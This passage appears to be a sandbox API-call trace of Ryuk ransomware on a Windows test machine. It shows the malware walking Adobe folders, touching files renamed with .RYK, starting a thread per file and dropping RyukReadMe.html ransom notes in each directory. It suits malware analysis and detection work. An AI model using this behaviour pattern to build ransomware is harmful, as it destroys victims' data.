	[0248.229] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0248.229] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.229] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74933560, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0248.229] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0
	[0248.231] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.231] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74802a60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0248.231] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4
	[0248.395] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.397] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0248.397] SetLastError (dwErrCode=0x0) 
	[0248.397] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8
	[0248.397] GetLastError () returned 0xb7
	[0248.397] CloseHandle (hObject=0x4e8) returned 1
	[0248.397] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa90
	[0248.398] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.398] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74a17da0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x1f0, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0248.398] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec
	[0248.402] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.403] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.403] FindNextFileW (in: hFindFile=0x3efa90, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1f0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.403] FindClose (in: hFindFile=0x3efa90 | out: hFindFile=0x3efa90) returned 1
	[0248.403] SetLastError (dwErrCode=0x0) 
	[0248.403] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8
	[0248.403] GetLastError () returned 0xb7
	[0248.403] CloseHandle (hObject=0x4e8) returned 1
	[0248.403] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.404] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74b488a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0248.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8
	[0248.408] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.408] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0248.409] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0
	[0248.413] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.414] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0248.414] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0248.414] SetLastError (dwErrCode=0x0) 
	[0248.414] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc
	[0248.415] GetLastError () returned 0xb7
	[0248.415] CloseHandle (hObject=0x4dc) returned 1
	[0248.415] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.415] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.415] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0248.415] SetLastError (dwErrCode=0x0) 
	[0248.415] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0248.416] GetLastError () returned 0xb7
	[0248.416] CloseHandle (hObject=0x4cc) returned 1
	[0248.416] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0248.416] SetLastError (dwErrCode=0x0) 
	[0248.416] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0248.416] GetLastError () returned 0xb7
	[0248.416] CloseHandle (hObject=0x4cc) returned 1
	[0248.416] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0248.417] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.417] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74c793a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0248.417] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0248.421] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.422] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0248.422] SetLastError (dwErrCode=0x0) 
	[0248.422] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4
	[0248.422] GetLastError () returned 0xb7
	[0248.422] CloseHandle (hObject=0x4f4) returned 1
	[0248.422] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0248.423] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0248.423] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.423] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74eb4840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0248.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8
	[0248.427] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.428] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0248.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0248.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc
	[0248.432] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0248.432] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0248.433] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0248.433] SetLastError (dwErrCode=0x0) 
	[0248.433] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4
	[0248.433] GetLastError () returned 0xb7
	[0248.433] CloseHandle (hObject=0x4f4) returned 1
	[0248.433] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0248.433] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0248.433] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0248.434] SetLastError (dwErrCode=0x0) 
